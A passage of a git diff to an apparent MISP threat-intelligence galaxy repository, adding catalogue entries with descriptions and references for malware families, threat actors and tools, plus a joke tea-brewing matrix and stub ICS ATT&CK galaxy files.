"dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3770,7 +4189,7 @@ }, "related": [ { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3784,7 +4203,7 @@ "type": "uses" }, { - "dest-uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3813,21 +4232,63 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3856,7 +4317,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3870,14 +4331,14 @@ "type": "uses" }, { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3891,7 +4352,28 @@ "type": "uses" }, { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3906,7 +4388,8 @@ "meta": { "external_id": "S0358", "mitre_platforms": [ - "Windows" + "Windows", + "Office 365" ], "refs": [ "https://attack.mitre.org/software/S0358", @@ -3919,14 +4402,28 @@ }, "related": [ { - "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "bf147104-abf9-4221-95d1-e81585859441", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3976,7 +4473,187 @@ ], "uuid": "981acc4c-2ede-4b56-be6e-fa1a75f37acf", "value": "Nltest - S0359" + }, + { + "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)", + "meta": { + "external_id": "S0445", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0445", + "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf" + ], + "synonyms": [ + "ShimRatReporter" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "115f88dd-0618-4389-83cb-98d33ae81848", + "value": "ShimRatReporter - S0445" + }, + { + "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://attack.mitre.org/software/S0465) has been used as a downloader to install [SYSCON](https://attack.mitre.org/software/S0464).(Citation: Unit 42 CARROTBAT January 2020)", + "meta": { + "external_id": "S0465", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0465", + "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/" + ], + "synonyms": [ + "CARROTBALL" + ] + }, + "related": [ + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5fc81b43-62b5-41b1-9113-c79ae5f030c4", + "value": "CARROTBALL - S0465" } ], - "version": 17 + "version": 18 } diff --git a/clusters/ransomware.json b/clusters/ransomware.json index ebf46cc..82bc750 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -13877,7 +13877,78 @@ }, "uuid": "f3ded787-783e-4c6b-909a-8da01254380c", "value": "eCh0raix" + }, + { + "description": "The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen data, they will distribute via mass media where the company's partners and clients will know that the company was attacked.", + "meta": { + "ransomnotes-filenames": [ + "RECOVER-FILES.txt" + ], + "ransomnotes-refs": [ + "https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2020/september/25/egregor.jpg" + ], + "refs": [ + "https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor", + "https://www.bleepingcomputer.com/news/security/crytek-hit-by-egregor-ransomware-ubisoft-data-leaked/", + "https://cybersecuritynews.com/egregor-ransomware/" + ] + }, + "uuid": "8bd094a7-103f-465f-8640-18dcc53042e5", + "value": "Egregor" + }, + { + "description": "SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware’s cartel. It also follows some of Maze’s tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros), torrent websites, malicious ads act as carriers for this ransomware.", + "meta": { + "ransomnotes-filenames": [ + "YOUR_FILES_ARE_ENCRYPTED.HTML" + ], + "ransomnotes-refs": [ + "https://www.bleepstatic.com/images/news/ransomware/s/suncrypt/maze-cartel/ransom-note.jpg" + ], + "refs": [ + "https://www.acronis.com/en-us/blog/posts/suncrypt-adopts-attacking-techniques-netwalker-and-maze-ransomware", + "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/", + "https://securityboulevard.com/2020/09/the-curious-case-of-suncrypt/" + ] + }, + "uuid": "4fa25527-99f6-42ee-aaf2-7ca395e5fabc", + "value": "SunCrypt" + }, + { + "description": "LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force.\nAfter gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.", + "meta": { + "ransomnotes-filenames": [ + "Restore-My-Files.txt" + ], + "ransomnotes-refs": [ + "https://www.mcafee.com/wp-content/uploads/2020/04/content-in-restore-my-files.png" + ], + "refs": [ + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/", + "https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware" + ] + }, + "uuid": "8eda8bf1-db5a-412d-8511-45e2f7621d51", + "value": "LockBit" + }, + { + "description": "WastedLocker primarily targets corporate networks. Upon initial compromise, often using a fake browser update containing SocGholish, the actor then takes advantage of dual-use and LoLBin tools in an attempt to evade detection.\n Key observations include lateral movement and privilege escalation. The WastedLocker ransomware has been tied back to EvilCorp.", + "meta": { + "ransomnotes-filenames": [ + "_info" + ], + "ransomnotes-refs": [ + "https://blog.malwarebytes.com/wp-content/uploads/2020/06/ransomnote.png" + ], + "refs": [ + "https://blogs.cisco.com/security/talos/wastedlocker-goes-big-game-hunting-in-2020", + "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/" + ] + }, + "uuid": "6955c28e-e698-4bb2-8c70-ccc6d11ba1ee", + "value": "WastedLocker" } ], - "version": 87 + "version": 88 } diff --git a/clusters/rat.json b/clusters/rat.json index 3bc63b8..a6af336 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -3465,7 +3465,18 @@ }, "uuid": "d0ed7527-cd1b-4b05-bbac-2e409ca46104", "value": "Sepulcher" + }, + { + "description": "The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.", + "meta": { + "refs": [ + "https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil" + ], + "synonyms": [] + }, + "uuid": "833ed94d-97c1-4b57-9634-c27bf42eb867", + "value": "Guildma" } ], - "version": 34 + "version": 36 } diff --git a/clusters/tea-matrix.json b/clusters/tea-matrix.json new file mode 100644 index 0000000..775512d --- /dev/null +++ b/clusters/tea-matrix.json @@ -0,0 +1,99 @@ +{ + "authors": [ + "Alexandre Dulaunoy" + ], + "category": "tea-matrix", + "description": "Tea Matrix", + "name": "Tea Matrix", + "source": "", + "type": "tea-matrix", + "uuid": "7eacd736-b093-4cc0-a56c-5f84de725dfb", + "values": [ + { + "description": "Multi infusion is allow and recommended", + "meta": { + "kill_chain": [ + "tea:post-fermented", + "tea:green", + "tea:white", + "tea:oolong" + ] + }, + "uuid": "fc255880-0ea7-44b3-81e9-ef6c183bef4b", + "value": "Multi infusion" + }, + { + "description": "Single infusion is recommended", + "meta": { + "kill_chain": [ + "tea:black", + "tea:blend", + "tea:white", + "tea:yellow" + ] + }, + "uuid": "21a43f8f-6ea3-4337-8fe4-0ce5b7cf386d", + "value": "Single infusion" + }, + { + "description": "Water temperature 90-95 degC", + "meta": { + "kill_chain": [ + "tea:black", + "tea:blend", + "tea:post-fermented" + ] + }, + "uuid": "4cf3cb45-b68e-4a23-8ef9-99655e136c50", + "value": "Water temp 90-95 degC" + }, + { + "description": "Water temperature 80 degC", + "meta": { + "kill_chain": [ + "tea:green", + "tea:white", + "tea:oolong", + "tea:yellow" + ] + }, + "uuid": "02cf7340-9648-4c3f-837c-df1b6598c87d", + "value": "Water temp 80 degC" + }, + { + "description": "Brewing time 2-3 minutes", + "meta": { + "kill_chain": [ + "tea:green", + "tea:white", + "tea:yellow" + ] + }, + "uuid": "d2080900-d8a3-426f-b4e1-4c8e4f978c0e", + "value": "Brewing time 2-3 min" + }, + { + "description": "Brewing time 3-4 minutes", + "meta": { + "kill_chain": [ + "tea:black", + "tea:blend", + "tea:post-fermented" + ] + }, + "uuid": "b7d97aa8-4924-4215-ba33-0e8765d6197b", + "value": "Brewing time 3-4 min" + }, + { + "description": "Milk in tea", + "meta": { + "kill_chain": [ + "tea:black" + ] + }, + "uuid": "24430dc6-9c27-4b3c-a5e7-6dda478fffa0", + "value": "Milk in tea" + } + ], + "version": 2 +} diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index fde0bd6..51f68e1 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2389,7 +2389,9 @@ "https://www.handelsblatt.com/today/politics/election-risks-russia-linked-hackers-target-german-political-foundations/23569188.html?ticket=ST-2696734-GRHgtQukDIEXeSOwksXO-ap1", "https://www.accenture.com/t20190213T141124Z__w__/us-en/_acnmedia/PDF-94/Accenture-SNAKEMACKEREL-Threat-Campaign-Likely-Targeting-NATO-Members-Defense-and-Military-Outlets.pdf", "https://marcoramilli.com/2019/12/05/apt28-attacks-evolution/", - "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/" + "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", + "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", + "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/" ], "synonyms": [ "APT 28", @@ -3036,7 +3038,7 @@ "https://securelist.com/operation-applejeus/87553/", "https://securelist.com/lazarus-under-the-hood/77908/", "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity", - "http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf", + "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf", "https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/", "https://www.cfr.org/interactive/cyber-operations/lazarus-group", "https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret", @@ -3078,7 +3080,8 @@ "https://www.darkreading.com/attacks-breaches/north-korean-hacking-group-steals-$135-million-from-indian-bank-/d/d-id/1332678", "https://www.zdnet.com/article/north-korean-hackers-infiltrate-chiles-atm-network-after-skype-job-interview/", "https://blogs.jpcert.or.jp/en/2020/08/Lazarus-malware.html", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", + "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html" ], "synonyms": [ "Operation DarkSeoul", @@ -4692,11 +4695,13 @@ "https://securelist.com/el-machete/66108/", "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", "https://www.cfr.org/interactive/cyber-operations/machete", - "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/" ], "synonyms": [ "Machete", - "machete-apt" + "machete-apt", + "APT-C-43" ] }, "uuid": "827c17e0-c3f5-4ad1-a4f4-30a40ed0a2d3", @@ -5175,7 +5180,8 @@ "https://www.bloomberglaw.com/document/public/subdoc/X67FPNDOUBV9VOPS35A4864BFIU?imagename=1", "https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia", "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://attack.mitre.org/groups/G0086/" + "https://attack.mitre.org/groups/G0086/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-301a" ], "synonyms": [ "Velvet Chollima", @@ -5812,7 +5818,8 @@ "https://intrusiontruth.wordpress.com/2020/01/15/hainan-xiandun-technology-company-is-apt40", "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://www.mycert.org.my/portal/advisory?id=MA-774.022020", - "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign" + "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/" ], "synonyms": [ "TEMP.Periscope", @@ -6605,7 +6612,11 @@ "description": "Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.\n\nA security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.\n\nMore specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\\Windows\\Task.\n\nThe vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.\n\nA couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.\n\nThe group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.\n\nThe researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.", "meta": { "refs": [ - "https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/" + "https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/", + "https://twitter.com/craiu/status/1311920398259367942" + ], + "synonyms": [ + "IAmTheKing" ] }, "uuid": "abd89986-b1b0-11e8-b857-efe290264006", @@ -7005,7 +7016,8 @@ "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe" + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546" ], "synonyms": [ "SectorJ04 Group", @@ -8397,7 +8409,31 @@ }, "uuid": "bfb0bc20-5bdf-47ff-b07f-dbd9a3cb9772", "value": "Fox Kitten" + }, + { + "description": "Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/", + "https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf", + "https://github.com/eset/malware-ioc/tree/master/xdspy/" + ] + }, + "uuid": "b205584e-db93-433a-b97a-7f2e19d8c188", + "value": "XDSpy" + }, + { + "description": "Evil Corp is an internaltional cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations. Responsible for stealing over $100M from businesses and consumers. The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.", + "meta": { + "refs": [ + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://en.wikipedia.org/wiki/Maksim_Yakubets", + "https://www.bbc.com/news/world-us-canada-53195749" + ] + }, + "uuid": "c30fbdc8-b66d-4242-a02a-e01946bc86d8", + "value": "Evil Corp" } ], - "version": 179 + "version": 185 } diff --git a/clusters/tool.json b/clusters/tool.json index e7f7fc1..d3d388a 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8142,7 +8142,40 @@ "related": [], "uuid": "a0a46c1b-e774-410e-a84b-020b2558d851", "value": "Drovorub" + }, + { + "description": "The adware DealPly (sometimes also referred to as IsErIk) and malicious Chrome extension ManageX, for instance, can come bundled under the guise of a legitimate installer and other potentially unwanted applications (PUAs). Because various write-ups cover Dealply or IsErik separately, the technical discussion and representation of both are discussed separately. ", + "meta": { + "refs": [ + "https://blog.trendmicro.com/trendlabs-security-intelligence/exposing-modular-adware-how-dealply-iserik-and-managex-persist-in-systems/" + ], + "synonyms": [ + "DealPly", + "ManageX" + ], + "type": [ + "PUA" + ] + }, + "related": [], + "uuid": "9f9daf7b-3530-4e2d-9d2c-d1036bafc825", + "value": "IsErIk" + }, + { + "description": "Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.tripwire.com/state-of-security/featured/ransomware-characteristics-attack-chains-recent-campaigns/" + ], + "type": [ + "Loader" + ] + }, + "related": [], + "uuid": "2a838144-b42d-4c12-bf41-4e99de1935e9", + "value": "Vatet" } ], - "version": 138 + "version": 139 } diff --git a/galaxies/cryptominers.json b/galaxies/cryptominers.json new file mode 100644 index 0000000..957979c --- /dev/null +++ b/galaxies/cryptominers.json @@ -0,0 +1,9 @@ +{ + "description": "Cryptominers is a collection of cryptomining and cryptojacking malwares.", + "icon": "optin-monster", + "name": "Cryptominers", + "namespace": "misp", + "type": "Cryptominers", + "uuid": "917734cb-6bbf-4568-83b6-ad2b912fc5e4", + "version": 3 +} diff --git a/galaxies/mitre-ics-assets.json b/galaxies/mitre-ics-assets.json new file mode 100644 index 0000000..a3230d9 --- /dev/null +++ b/galaxies/mitre-ics-assets.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Assets", + "icon": "certificate", + "name": "Assets", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-assets", + "uuid": "86b19468-784e-4ec9-9af9-f069aa4cf70d", + "version": 1 +} diff --git a/galaxies/mitre-ics-groups.json b/galaxies/mitre-ics-groups.json new file mode 100644 index 0000000..2142d5b --- /dev/null +++ b/galaxies/mitre-ics-groups.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Groups", + "icon": "skull-crossbones", + "name": "Groups", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-groups", + "uuid": "abb28bd9-fa79-4815-b5b3-fb138f433e55", + "version": 1 +} diff --git a/galaxies/mitre-ics-levels.json b/galaxies/mitre-ics-levels.json new file mode 100644 index 0000000..789068e --- /dev/null +++ b/galaxies/mitre-ics-levels.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Levels", + "icon": "layer-group", + "name": "Levels", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-levels", + "uuid": "34d60262-0e7d-4c91-859b-de1fa9c54ae7", + "version": 1 +} diff --git a/galaxies/mitre-ics-software.json b/galaxies/mitre-ics-software.json new file mode 100644 index 0000000..6154446 --- /dev/null +++ b/galaxies/mitre-ics-software.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Software", + "icon": "file-code", + "name": "Software", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-software", + "uuid": "9443a27f-f8b0-4bc7-ba88-7c023d727932", + "version": 1 +} diff --git a/galaxies/mitre-ics-tactics.json b/galaxies/mitre-ics-tactics.json new file mode 100644 index 0000000..7359dcc --- /dev/null +++ b/galaxies/mitre-ics-tactics.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Tactics", + "icon": "chess-pawn", + "name": "Tactics", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-tactics", + "uuid": "e521606c-3c66-4621-9040-6f0f792fc999", + "version": 1 +} diff --git a/galaxies/mitre-ics-techniques.json b/galaxies/mitre-ics-techniques.json new file mode 100644 index 0000000..89d6ab9 --- /dev/null +++ b/galaxies/mitre-ics-techniques.json @@ -0,0 +1,9 @@ +{ + "description": "ATT&CK for ICS Techniques", + "icon": "user-ninja", + "name": "Techniques", + "namespace": "mitre-attack-ics", + "type": "mitre-ics-techniques", + "uuid": "99261a7e-2270-40eb-823f-834cc1ad3159", + "version": 1 +} diff --git a/galaxies/tea-matrix.json b/galaxies/tea-matrix.json new file mode 